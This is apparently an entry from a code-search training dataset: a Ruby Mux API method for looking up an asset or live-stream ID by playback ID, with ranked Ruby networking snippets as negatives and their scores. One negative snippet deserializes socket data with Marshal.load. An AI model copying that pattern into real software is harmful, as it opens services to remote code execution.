"def flush_log_buffer()\n APPS_LOCK.synchronize {\n loop {\n break if @@logs_buffer.empty?\n encoded_logs = JSON.dump({\n 'service_name' => 'appcontroller',\n 'host' => my_node.public_ip,\n 'logs' => @@logs_buffer.shift(LOGS_PER_BATCH),\n })\n\n begin\n url = URI.parse(\"https://#{get_login.public_ip}:\" +\n \"#{AppDashboard::LISTEN_SSL_PORT}/logs/upload\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n response = http.post(url.path, encoded_logs,\n {'Content-Type'=>'application/json'})\n rescue Exception\n # Don't crash the AppController because we weren't able to send over\n # the logs - just continue on.\n end\n }\n }\n end",
"def send_to peer\n peer.semaphore.synchronize do \n data = { id: service_id, data: self.data }.to_json\n buffer = Buffer::Writer.new data\n buffer.segments.each { |segment| peer.send_data segment }\n peer.last_used_at = Time.now\n sleep 0.3\n end\n end",
"def start_partial_sync\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n loop do\n begin\n x = Dr2::Types.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n receive x, c\n rescue Dr2::Types::EOFException\n break\n rescue Exception\n Dr2::Types.writer($!).write_dr2(c)\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end",
"def receive_data(data)\n # puts \"From #{(@player || @connector).inspect} #{ip_address}:\"\n # puts \"> \" + data.inspect\n \n benchmark do\n if @player\n @player.handle_input(data.strip)\n else\n @connector.handle_input(data.strip)\n end\n end\n rescue Exception => e\n raise e #if AEON_ENV == :test\n end",
"def receive_stream_data(data)\n begin\n @buffer.extract(data).each do |line|\n parse_stream_line(line)\n end\n @stream = ''\n rescue => e\n receive_error(\"#{e.class}: \" + [e.message, e.backtrace].flatten.join(\"\\n\\t\"))\n close_connection\n return\n end\n end",
"def message_buffer; end",
"def send_data data\n super \"#{data}\\n\"\n Events.dispatch(:raw_out, Message.new(self, data, true))\n\n @lines_sent += 1\n @bytes_sent += data.bytesize + 1\n\n $log.debug(\"IRCConnection.send_data #{@name}\") { data }\n end",
"def receive_data data\n if @state == :state_playing\n @bust_prompt = true\n $last_sent = '\\n'\n end\n\n data = \"\\n\" if data == nil\n data.gsub!(/\\r\\n|\\n\\r|\\r|\\n/,\"\\n\")\n data = \"\\n\" if data.empty?\n\n # separates telnet sequence from main data stream. Returns the telnet sequences in their own string in the queue.\n a = @network_parser.resume data\n\n a.each do |d|\n data.gsub!(/\\n/, \"\")\n if d.length == 0\n a.delete d\n end\n end \n \n a << \"\" if a.empty?\n\n a.each do |d|\n @input_queue.push d\n end\n \n ## Ok, check we need to shift a command off the top.\n while !@input_queue.empty?\n comm = @input_queue.shift\n \n return if comm == nil \n\n # next if comm.length == 0\n if comm.length != 0 && comm[0].ord == IAC\n # let's see if it matches one we know of.\n do_mxp = DO_MXP \n dont_mxp = DONT_MXP\n do_mccp = DO_MCCP\n dont_mccp = DONT_MCCP \n\n if do_mccp == comm\n log :debug, \"telnet do mccp sequence detected.\"\n# mccp_initialize(self)\n end\n if do_mxp == comm\n mxp_initialize(self)\n log :debug, \"telnet do mxp sequence detected.\"\n end \n log :debug, \"telnet sequence detected.\"\n next ### it's a telnet sequence\n end\n case @state\n when :state_new_connection\n if @nanny.alive?\n if (@nanny.resume comm.downcase) == true\n text_to_socket \"Closing connection.\" + ENDL\n close_connection\n return\n end\n end\n when :state_playing\n \n handle_cmd_input comm\n else\n log :error, \"Socket in bad state.\"\n end\n end\n end",
"def poll_next_packet; end",
"def flush_output\n if @pending_output != \"\"\n add_prompt\n connection.send_data @pending_output\n clear_output\n end\n end",
"def flush\n end",
"def flush\n end",
"def flush\n end",
"def flush\n end",
"def autoflush\n @connection.autoflush\n end",
"def receive_data(data)\n\n if data.match 'SOURCE'\n p data\n send_data(\"HTTP 200 OK\\r\\n\\r\\n\")\n else\n # require 'pry'; binding.pry\n p data.size\n @channel.push(data.bytes)\n end\n end",
"def listen_and_save\n socket = TCPSocket.new(@host,@port)\n socket.write \"GET #{@path} HTTP/1.1\\r\\n\"\n socket.write \"Host: #{@host}\\r\\n\"\n socket.write \"\\r\\n\" \n captured_content = \"\"\n while line = socket.readline.chomp # used chomp to remove trailing newline \n # concatenating line socket response to avoid broken JSON from socket\n captured_content = captured_content + line if line.length > 10\n captured_content = \"\" if !captured_content.start_with?('{\"') \n if result = valid_json?(captured_content)\n add_to_redis_list(result)\n captured_content = \"\" \n end \n end \n end",
"def receive_data(data)\n while not (data.nil? or data.empty?)\n data.force_encoding 'BINARY' if data.respond_to?(:force_encoding)\n unless @payload_bytes_to_read\n nul = data.index ?\\0\n if nul\n @buffer << data.slice!(0, nul)\n data.slice!(0,1) # Remove the NUL\n metadata = @buffer.join('')\n @buffer = []\n begin\n receive_metadata(metadata)\n rescue Exception => e\n log_exception(e, 'Invalid metadata', metadata)\n close_connection\n return\n end\n else\n @buffer << data\n data = nil\n end\n end\n if @payload_bytes_to_read\n if data.size >= @payload_bytes_to_read\n @buffer << data.slice!(0, @payload_bytes_to_read)\n payload = @buffer.join('')\n @buffer, @payload_bytes_to_read = [], nil\n begin\n receive_payload(payload)\n rescue Exception => e\n log_exception(e, 'Invalid payload')\n close_connection\n return\n end\n else\n @buffer << data\n @payload_bytes_to_read -= data.size\n data = nil\n end\n end\n end\n end",
"def on_data(socket, data)\n buffer = @packet_buffers[socket]\n\n if buffer\n buffer.buffer_data data\n\n while packet = buffer.next_packet\n on_msg(socket, Marshal.load(packet))\n end\n end\n end",
"def close\n flush_buffer!\n @sock.close\n end",
"def flush\n end",
"def flush\n end",
"def flush\n end",
"def flush\n end",
"def flush\n end"
] |
[
"0.6401586",
"0.62997586",
"0.62989527",
"0.62765086",
"0.6194918",
"0.6114416",
"0.6114416",
"0.6114416",
"0.6085323",
"0.6069009",
"0.60182095",
"0.600528",
"0.5998252",
"0.59705395",
"0.59390146",
"0.59283525",
"0.591276",
"0.5911474",
"0.59093034",
"0.5900156",
"0.58769596",
"0.58746237",
"0.5869165",
"0.5860894",
"0.58354187",
"0.58285356",
"0.582578",
"0.58141357",
"0.58141357",
"0.58141357",
"0.57965994",
"0.57965994",
"0.57933486",
"0.5792796",
"0.5787016",
"0.5782235",
"0.57764405",
"0.5768172",
"0.57645994",
"0.5763069",
"0.5758862",
"0.5756434",
"0.57552683",
"0.57550955",
"0.57550955",
"0.57513887",
"0.5748608",
"0.57363206",
"0.5721051",
"0.5716726",
"0.5713323",
"0.5713323",
"0.5713323",
"0.5713323",
"0.5713323",
"0.5707441",
"0.5707363",
"0.57038",
"0.57019764",
"0.5701572",
"0.5701332",
"0.5680381",
"0.56777287",
"0.56766915",
"0.5671839",
"0.56582415",
"0.5651346",
"0.5649758",
"0.5647177",
"0.56347996",
"0.56347996",
"0.563101",
"0.5622352",
"0.56187755",
"0.5615094",
"0.56141794",
"0.5611426",
"0.56035596",
"0.5601667",
"0.5598005",
"0.5597293",
"0.55966437",
"0.55959994",
"0.55943567",
"0.5593993",
"0.55938035",
"0.55916625",
"0.55916625",
"0.55916625",
"0.55916625",
"0.5585575",
"0.5573121",
"0.55720407",
"0.5567328",
"0.5550193",
"0.5550078",
"0.5544366",
"0.5544366",
"0.5544366",
"0.5544366",
"0.5544366"
] |
0.0
|
-1
|
Retrieve an Asset or Live Stream ID Retrieves the Identifier of the Asset or Live Stream associated with the Playback ID.
|
def get_asset_or_livestream_id(playback_id, opts = {})
data, _status_code, _headers = get_asset_or_livestream_id_with_http_info(playback_id, opts)
data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_song_url_by_id(id)\n resp = get_stream_auth_by_songid(id)\n \"http://#{resp['ip']}/stream.php?streamKey=#{resp['stream_key']}\"\n end",
"def playlist_id\n @ole.playlistID\n end",
"def playlist_id\n @ole.playlistID\n end",
"def playlist_id\n @ole.playlistID\n end",
"def playlist_id\n @ole.playlistID\n end",
"def stream_id\n Call.libusb_transfer_get_stream_id(@transfer)\n end",
"def get_asset_or_livestream_id_with_http_info(playback_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PlaybackIDApi.get_asset_or_livestream_id ...'\n end\n # verify the required parameter 'playback_id' is set\n if @api_client.config.client_side_validation && playback_id.nil?\n fail ArgumentError, \"Missing the required parameter 'playback_id' when calling PlaybackIDApi.get_asset_or_livestream_id\"\n end\n # resource path\n local_var_path = '/video/v1/playback-ids/{PLAYBACK_ID}'.sub('{' + 'PLAYBACK_ID' + '}', CGI.escape(playback_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetAssetOrLiveStreamIdResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['accessToken']\n\n new_options = opts.merge(\n :operation => :\"PlaybackIDApi.get_asset_or_livestream_id\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PlaybackIDApi#get_asset_or_livestream_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def find_stream(stream_id)\n @file_reader.dump_format if Effing.log?\n warn 'No streams found in file' if @file_reader.streams.empty?\n log \"stream_id type: #{stream_id.class}\"\n\n stream = if stream_id.is_a? Symbol\n @file_reader.streams.find do |s|\n log \"stream type: '#{s.type}'\"\n s.type == stream_id\n end\n elsif stream_id.to_i\n @file_reader.streams.find do |s|\n log \"stream type: '#{s.type}'\"\n s.index == stream_id.to_i\n end\n #else\n # abort \"Don't know how to find stream using '#{stream_id}' (#{stream_id.class})\"\n end\n\n if stream\n log \"Found stream #{stream.inspect}\"\n stream\n else\n log 'Stream not found!'\n nil\n end\n end",
"def id\n case self.service\n when :youtube then parse_video_id_for_youtube\n when :vimeo then parse_video_id_for_vimeo\n end\n end",
"def id\n return @artist_data[\"id\"]\n end",
"def get_id()\n return @id\n end",
"def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9_=\\-]+)(\\.html)?.*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end",
"def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9]*)(\\.html)*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end",
"def get_id\n params[:id]\n end",
"def unique_id\n playlist_id[/playlists\\/([^<]+)/, 1]\n end",
"def id\n response_hash[:session_id]\n end",
"def get_id()\n return @id\n end",
"def id\n ref = JSONModel::parse_reference(self.uri)\n\n if ref\n ref[:id]\n else\n nil\n end\n end",
"def get(entry_id, version=-1)\n\t\t\tkparams = {}\n\t\t\t# Live stream entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# Desired version of the data\n\t\t\tclient.add_param(kparams, 'version', version);\n\t\t\tclient.queue_service_action_call('livestream', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def get_asset_playback_id(asset_id, playback_id, opts = {})\n data, _status_code, _headers = get_asset_playback_id_with_http_info(asset_id, playback_id, opts)\n data\n end",
"def id\n self[:identifier]\n end",
"def avId\n begin\n /\\/video\\/av(\\d+)/.match(self.link)[1]\n rescue\n ''\n end\n end",
"def get_id\n\t\treturn id\n\tend",
"def video_id\n values[:video_id]\n end",
"def get_player_id\n\t\t@player_id\n\tend",
"def id\n @id ||= scgi.session_id\n end",
"def id\n data[:id]\n end",
"def identifier\n @document.xpath('/xmlns:mediapackage/@id', {'xmlns' => XML_NS_MEDIAPACKAGE}).first.value\n end",
"def id\n data[:id]\n end",
"def get_id(twitter_id)\n redis.hget(:twid, twitter_id)\n end",
"def get_it_object_by_id(source_id, playlist_id, track_id, database_id)\n @ole.GetITObjectByID(source_id, playlist_id, track_id, database_id)\n end",
"def uri\n @uri ||= uri_id && \"spotify:user:#{user.username}:playlist:#{uri_id}\"\n end",
"def get_id()\n @id\n end",
"def get_id()\n @id\n end",
"def show\n id = params[:id] || extract_id_from(params[:encoded_id])\n @playing = Playing.find(id)\n\n respond_to do |format|\n format.html { render locals: { short_url: short_link_to(@playing) } }\n format.json { render json: @playing }\n end\n end",
"def show\n @player_id = params[:player_id].to_i # TODO: With Devise, this would be @current_user.id\n end",
"def get_id\n @id\n end",
"def get_id\n @id\n end",
"def get_id\n @id\n end",
"def get_id\n @id\n end",
"def get_id(id)\n native_id = Integer(id.split(\":\")[-1])\n end",
"def id\n render json: { passport_id: sso_session_id }\n end",
"def identifier\n @record.uri.to_s\n end",
"def id\n return @discovery_document['id']\n end",
"def id\n _id rescue nil\n end",
"def embed_id\n match = @node.inner_text.strip.match(self.class.url_regexp)\n match[:id] if match\n end",
"def id\n @id ||= @response['id']\n end",
"def id\n @id || @url\n end",
"def sid\n open['sid']\n end",
"def show\r\n stream = Stream.find(params[:id])\r\n render json: stream\r\n end",
"def playlist_id;\treturn @json_data['playlist_id'];\tend",
"def id\n read_attr :id, :to_sym\n end",
"def id\n source.split('/')[-1].split('_')[0]\n end",
"def id\n @document.fetch('id')\n end",
"def id\n return @playing_girl ? @id_girl : @id_boy\n end",
"def id\n object[\"id\"]\n end",
"def get_filmId\n \t\tresponse = JSON.parse HTTParty.get(self.url).to_json\n \t\tfilmId = response[\"filmId\"]\n \t\treturn filmId\n \tend",
"def get_id\n url = \"https://www.youtube.com/results?search_query=#{@artist_name.gsub(\" \",\"+\")}+#{@song_name.gsub(\" \",\"+\")}\"\n#pp url\n web_page = HTTParty.get(url)\n\n @parsed = Nokogiri::HTML(web_page)\n ref = @parsed.css(\"a\").collect{|link| link[\"href\"]}.select{|href| href && href.include?(\"/watch?v=\")}.uniq[0]\n return ref.gsub(\"/watch?v=\", \"\") unless !ref\n end",
"def id\n object.external_id\n end",
"def next_stream_id\n\t\t\t\tid = @local_stream_id\n\t\t\t\t\n\t\t\t\t@local_stream_id += 2\n\t\t\t\t\n\t\t\t\treturn id\n\t\t\tend",
"def id\n Id.new(@head.fetch[2])\n end",
"def actual_id\n args = params[:id].split('-')\n args[0]\n end",
"def lookup_subscription\n @subscription = if params.has_key?(:id)\n UserSubscription.find(params[:id])\n else\n current_user.user_subscriptions.where(artist: @user).first\n end\n end",
"def show\n\t\t@playlist = Playlist.find(params[:id])\n\tend",
"def id\n value[0]\n end",
"def id\n attributes.key?(:id) ? attributes[:id] : nil\n end",
"def intent_id\n log_message \"Fetching id of #{ @name } intent\"\n intents = @client.get_intents_request\n\n matching_intent = intents.select { |intent| intent[ :name ] == @name.to_s }\n\n if matching_intent.empty?\n # TODO: Consult Exceptional Ruby for a better way to do this\n raise \"There is no intent named #{@name}\"\n else\n return matching_intent.first[ :id ]\n end\n end",
"def stream_id=(v)\n Call.libusb_transfer_set_stream_id(@transfer, v)\n v\n end",
"def session_get(id)\n sessions.select {|s| s.SessionId().to_s == id.to_s}\n end",
"def sid\n data['sid']\n end",
"def get_current_playlist\n\t\t@current_playlist ||= if params[:playlist_id].present?\n\t\t\tPlaylist.find(params[:playlist_id])\n\t\tend\n\tend",
"def getId()\n\t\t\treturn @_id\n\t\tend",
"def show\n\ttrack = Track.find(params[:id])\n\n\tstream_url = track.stream_url ? track.stream_url : ''\n\tfilename = track.artist.name + ' - ' + track.title\n\n\tdownloader = SoundCloud::Downloader::Client.new(client_id: \"e713c46023d1b1d92c262e6ba915d4d0\")\n\turl = downloader.resolve(stream_url)\n\n\n\n\t# Makes the browser download the file\n\tsend_data open(url).read,\n\t\t:type => \"audio/mpeg\",\n\t\t:disposition => \"attachment; filename=\\\"#{filename}.mp3\\\"\"\n end",
"def show\n @song = Song.find(params[:id])\n @yt_id = YoutubeSearch.search(\"#{@song.name} #{@song.artist.name}\").first['video_id']\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end",
"def id\n data[:id]\n end",
"def getId\n return @id\n end",
"def receive_id\n id = params[:id] # receive Id from\n @movie = Movie.find(id)\n end",
"def activity_stream_kms_key_id\n data[:activity_stream_kms_key_id]\n end",
"def activity_stream_kms_key_id\n data[:activity_stream_kms_key_id]\n end",
"def id\n record.id.to_s\n end",
"def get_stream(stream)\n @store[stream]\n end",
"def id\n @values.fetch('ai.session.id') { \n @values['ai.session.id'] = nil\n }\n end",
"def source_id source\n source.is_a?(NewsApi::Source) ? source.id : source\n end",
"def get_session_id\n check_lisitng_id\n calendar_frame = get_vrbo_calendar_page.iframes.first.src\n page = @agent.get calendar_frame\n link = page.links[3].href\n uri = Addressable::URI.parse(link)\n uri.query_values['sessionId']\n end",
"def get_id(channel_name)\n return get_value_of(channel_name, :id)\n end",
"def get_track(id)\n return @tracks.find {|s| s.track_id == id}\n end",
"def show\n @play = Play.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to playlist_url(@play.playlist)}\n format.xml { render :xml => @play.to_xml }\n end\n end",
"def id\n @values[:id]\n end",
"def id\n @values[:id]\n end",
"def show\n @id = params[:id]\n end",
"def show\n @id = params[:id]\n end",
"def get\n params.required(:id)\n\n # Grab the device that is trying to authenticate\n unathenticated_error unless @api_consumer.is_a? Service\n service = @api_consumer\n\n @session = service.sessions.find(params[:id])\n end",
"def id\n get_val(:id)\n end",
"def parse_id(e)\n return e.css('a')[0].attribute('data-play').content.split(':')[1].to_i\n end",
"def id\n @values[:id]\n end",
"def id\n raise MissingID if not defined?(@id)\n @id.to_i\n end",
"def get_asset_playback_id_with_http_info(asset_id, playback_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AssetsApi.get_asset_playback_id ...'\n end\n # verify the required parameter 'asset_id' is set\n if @api_client.config.client_side_validation && asset_id.nil?\n fail ArgumentError, \"Missing the required parameter 'asset_id' when calling AssetsApi.get_asset_playback_id\"\n end\n # verify the required parameter 'playback_id' is set\n if @api_client.config.client_side_validation && playback_id.nil?\n fail ArgumentError, \"Missing the required parameter 'playback_id' when calling AssetsApi.get_asset_playback_id\"\n end\n # resource path\n local_var_path = '/video/v1/assets/{ASSET_ID}/playback-ids/{PLAYBACK_ID}'.sub('{' + 'ASSET_ID' + '}', CGI.escape(asset_id.to_s)).sub('{' + 'PLAYBACK_ID' + '}', CGI.escape(playback_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetAssetPlaybackIDResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['accessToken']\n\n new_options = opts.merge(\n :operation => :\"AssetsApi.get_asset_playback_id\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AssetsApi#get_asset_playback_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def current_song\n Song.find(params[:id])\n end",
"def set_stream\n @stream = Stream.friendly.find(params[:id])\n end",
"def show\n @playlist_line = PlaylistLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @playlist_line }\n end\n end"
] |
[
"0.58725756",
"0.57117397",
"0.57117397",
"0.57117397",
"0.57117397",
"0.5669693",
"0.5666333",
"0.5633655",
"0.55956364",
"0.5562233",
"0.5561768",
"0.55386436",
"0.5520118",
"0.5500024",
"0.54927784",
"0.5464585",
"0.5451272",
"0.54409915",
"0.5417634",
"0.53700054",
"0.53623986",
"0.5355401",
"0.5338869",
"0.5337971",
"0.53338355",
"0.5305041",
"0.5299821",
"0.5298839",
"0.52957684",
"0.52793604",
"0.52790487",
"0.52778155",
"0.52695435",
"0.52695435",
"0.52375937",
"0.5234773",
"0.52285975",
"0.52285975",
"0.52285975",
"0.52285975",
"0.5228578",
"0.52255034",
"0.52196014",
"0.5216919",
"0.52069885",
"0.52064764",
"0.5192493",
"0.51800644",
"0.5178547",
"0.5176548",
"0.51667094",
"0.516118",
"0.5156734",
"0.5146919",
"0.51467675",
"0.5146517",
"0.51363933",
"0.51358175",
"0.5130792",
"0.51218396",
"0.5109955",
"0.51052856",
"0.5103394",
"0.5099817",
"0.5099682",
"0.50909853",
"0.50896996",
"0.50887275",
"0.5082025",
"0.5080386",
"0.5079852",
"0.5079332",
"0.5078772",
"0.5077089",
"0.5072478",
"0.50702804",
"0.50695294",
"0.5066534",
"0.5066534",
"0.5052983",
"0.5042631",
"0.5036402",
"0.5032126",
"0.50301445",
"0.50254196",
"0.5019796",
"0.50175744",
"0.5016792",
"0.5016792",
"0.50155807",
"0.50155807",
"0.50144273",
"0.50140345",
"0.50092524",
"0.50078404",
"0.50057346",
"0.5004883",
"0.49967334",
"0.49962893",
"0.49904814"
] |
0.6679655
|
0
|
Retrieve an Asset or Live Stream ID Retrieves the Identifier of the Asset or Live Stream associated with the Playback ID.
|
def get_asset_or_livestream_id_with_http_info(playback_id, opts = {})
if @api_client.config.debugging
@api_client.config.logger.debug 'Calling API: PlaybackIDApi.get_asset_or_livestream_id ...'
end
# verify the required parameter 'playback_id' is set
if @api_client.config.client_side_validation && playback_id.nil?
fail ArgumentError, "Missing the required parameter 'playback_id' when calling PlaybackIDApi.get_asset_or_livestream_id"
end
# resource path
local_var_path = '/video/v1/playback-ids/{PLAYBACK_ID}'.sub('{' + 'PLAYBACK_ID' + '}', CGI.escape(playback_id.to_s))
# query parameters
query_params = opts[:query_params] || {}
# header parameters
header_params = opts[:header_params] || {}
# HTTP header 'Accept' (if needed)
header_params['Accept'] = @api_client.select_header_accept(['application/json'])
# form parameters
form_params = opts[:form_params] || {}
# http body (model)
post_body = opts[:debug_body]
# return_type
return_type = opts[:debug_return_type] || 'GetAssetOrLiveStreamIdResponse'
# auth_names
auth_names = opts[:debug_auth_names] || ['accessToken']
new_options = opts.merge(
:operation => :"PlaybackIDApi.get_asset_or_livestream_id",
:header_params => header_params,
:query_params => query_params,
:form_params => form_params,
:body => post_body,
:auth_names => auth_names,
:return_type => return_type
)
data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)
if @api_client.config.debugging
@api_client.config.logger.debug "API called: PlaybackIDApi#get_asset_or_livestream_id\nData: #{data.inspect}\nStatus code: #{status_code}\nHeaders: #{headers}"
end
return data, status_code, headers
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_asset_or_livestream_id(playback_id, opts = {})\n data, _status_code, _headers = get_asset_or_livestream_id_with_http_info(playback_id, opts)\n data\n end",
"def get_song_url_by_id(id)\n resp = get_stream_auth_by_songid(id)\n \"http://#{resp['ip']}/stream.php?streamKey=#{resp['stream_key']}\"\n end",
"def playlist_id\n @ole.playlistID\n end",
"def playlist_id\n @ole.playlistID\n end",
"def playlist_id\n @ole.playlistID\n end",
"def playlist_id\n @ole.playlistID\n end",
"def stream_id\n Call.libusb_transfer_get_stream_id(@transfer)\n end",
"def find_stream(stream_id)\n @file_reader.dump_format if Effing.log?\n warn 'No streams found in file' if @file_reader.streams.empty?\n log \"stream_id type: #{stream_id.class}\"\n\n stream = if stream_id.is_a? Symbol\n @file_reader.streams.find do |s|\n log \"stream type: '#{s.type}'\"\n s.type == stream_id\n end\n elsif stream_id.to_i\n @file_reader.streams.find do |s|\n log \"stream type: '#{s.type}'\"\n s.index == stream_id.to_i\n end\n #else\n # abort \"Don't know how to find stream using '#{stream_id}' (#{stream_id.class})\"\n end\n\n if stream\n log \"Found stream #{stream.inspect}\"\n stream\n else\n log 'Stream not found!'\n nil\n end\n end",
"def id\n case self.service\n when :youtube then parse_video_id_for_youtube\n when :vimeo then parse_video_id_for_vimeo\n end\n end",
"def id\n return @artist_data[\"id\"]\n end",
"def get_id()\n return @id\n end",
"def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9_=\\-]+)(\\.html)?.*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end",
"def video_id\n match = uri.path.match(/\\/v_show\\/id_([a-zA-Z0-9]*)(\\.html)*/)\n return match[1] if match && match[1]\n\n nil\n rescue\n return nil\n end",
"def get_id\n params[:id]\n end",
"def unique_id\n playlist_id[/playlists\\/([^<]+)/, 1]\n end",
"def id\n response_hash[:session_id]\n end",
"def get_id()\n return @id\n end",
"def id\n ref = JSONModel::parse_reference(self.uri)\n\n if ref\n ref[:id]\n else\n nil\n end\n end",
"def get(entry_id, version=-1)\n\t\t\tkparams = {}\n\t\t\t# Live stream entry id\n\t\t\tclient.add_param(kparams, 'entryId', entry_id);\n\t\t\t# Desired version of the data\n\t\t\tclient.add_param(kparams, 'version', version);\n\t\t\tclient.queue_service_action_call('livestream', 'get', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def get_asset_playback_id(asset_id, playback_id, opts = {})\n data, _status_code, _headers = get_asset_playback_id_with_http_info(asset_id, playback_id, opts)\n data\n end",
"def id\n self[:identifier]\n end",
"def avId\n begin\n /\\/video\\/av(\\d+)/.match(self.link)[1]\n rescue\n ''\n end\n end",
"def get_id\n\t\treturn id\n\tend",
"def video_id\n values[:video_id]\n end",
"def get_player_id\n\t\t@player_id\n\tend",
"def id\n @id ||= scgi.session_id\n end",
"def id\n data[:id]\n end",
"def identifier\n @document.xpath('/xmlns:mediapackage/@id', {'xmlns' => XML_NS_MEDIAPACKAGE}).first.value\n end",
"def id\n data[:id]\n end",
"def get_it_object_by_id(source_id, playlist_id, track_id, database_id)\n @ole.GetITObjectByID(source_id, playlist_id, track_id, database_id)\n end",
"def get_id(twitter_id)\n redis.hget(:twid, twitter_id)\n end",
"def uri\n @uri ||= uri_id && \"spotify:user:#{user.username}:playlist:#{uri_id}\"\n end",
"def get_id()\n @id\n end",
"def get_id()\n @id\n end",
"def show\n id = params[:id] || extract_id_from(params[:encoded_id])\n @playing = Playing.find(id)\n\n respond_to do |format|\n format.html { render locals: { short_url: short_link_to(@playing) } }\n format.json { render json: @playing }\n end\n end",
"def show\n @player_id = params[:player_id].to_i # TODO: With Devise, this would be @current_user.id\n end",
"def get_id(id)\n native_id = Integer(id.split(\":\")[-1])\n end",
"def get_id\n @id\n end",
"def get_id\n @id\n end",
"def get_id\n @id\n end",
"def get_id\n @id\n end",
"def id\n render json: { passport_id: sso_session_id }\n end",
"def identifier\n @record.uri.to_s\n end",
"def id\n return @discovery_document['id']\n end",
"def embed_id\n match = @node.inner_text.strip.match(self.class.url_regexp)\n match[:id] if match\n end",
"def id\n _id rescue nil\n end",
"def id\n @id ||= @response['id']\n end",
"def id\n @id || @url\n end",
"def sid\n open['sid']\n end",
"def show\r\n stream = Stream.find(params[:id])\r\n render json: stream\r\n end",
"def playlist_id;\treturn @json_data['playlist_id'];\tend",
"def id\n read_attr :id, :to_sym\n end",
"def id\n source.split('/')[-1].split('_')[0]\n end",
"def id\n object[\"id\"]\n end",
"def id\n return @playing_girl ? @id_girl : @id_boy\n end",
"def id\n @document.fetch('id')\n end",
"def get_id\n url = \"https://www.youtube.com/results?search_query=#{@artist_name.gsub(\" \",\"+\")}+#{@song_name.gsub(\" \",\"+\")}\"\n#pp url\n web_page = HTTParty.get(url)\n\n @parsed = Nokogiri::HTML(web_page)\n ref = @parsed.css(\"a\").collect{|link| link[\"href\"]}.select{|href| href && href.include?(\"/watch?v=\")}.uniq[0]\n return ref.gsub(\"/watch?v=\", \"\") unless !ref\n end",
"def get_filmId\n \t\tresponse = JSON.parse HTTParty.get(self.url).to_json\n \t\tfilmId = response[\"filmId\"]\n \t\treturn filmId\n \tend",
"def id\n object.external_id\n end",
"def next_stream_id\n\t\t\t\tid = @local_stream_id\n\t\t\t\t\n\t\t\t\t@local_stream_id += 2\n\t\t\t\t\n\t\t\t\treturn id\n\t\t\tend",
"def id\n Id.new(@head.fetch[2])\n end",
"def lookup_subscription\n @subscription = if params.has_key?(:id)\n UserSubscription.find(params[:id])\n else\n current_user.user_subscriptions.where(artist: @user).first\n end\n end",
"def actual_id\n args = params[:id].split('-')\n args[0]\n end",
"def show\n\t\t@playlist = Playlist.find(params[:id])\n\tend",
"def id\n value[0]\n end",
"def id\n attributes.key?(:id) ? attributes[:id] : nil\n end",
"def intent_id\n log_message \"Fetching id of #{ @name } intent\"\n intents = @client.get_intents_request\n\n matching_intent = intents.select { |intent| intent[ :name ] == @name.to_s }\n\n if matching_intent.empty?\n # TODO: Consult Exceptional Ruby for a better way to do this\n raise \"There is no intent named #{@name}\"\n else\n return matching_intent.first[ :id ]\n end\n end",
"def stream_id=(v)\n Call.libusb_transfer_set_stream_id(@transfer, v)\n v\n end",
"def session_get(id)\n sessions.select {|s| s.SessionId().to_s == id.to_s}\n end",
"def get_current_playlist\n\t\t@current_playlist ||= if params[:playlist_id].present?\n\t\t\tPlaylist.find(params[:playlist_id])\n\t\tend\n\tend",
"def sid\n data['sid']\n end",
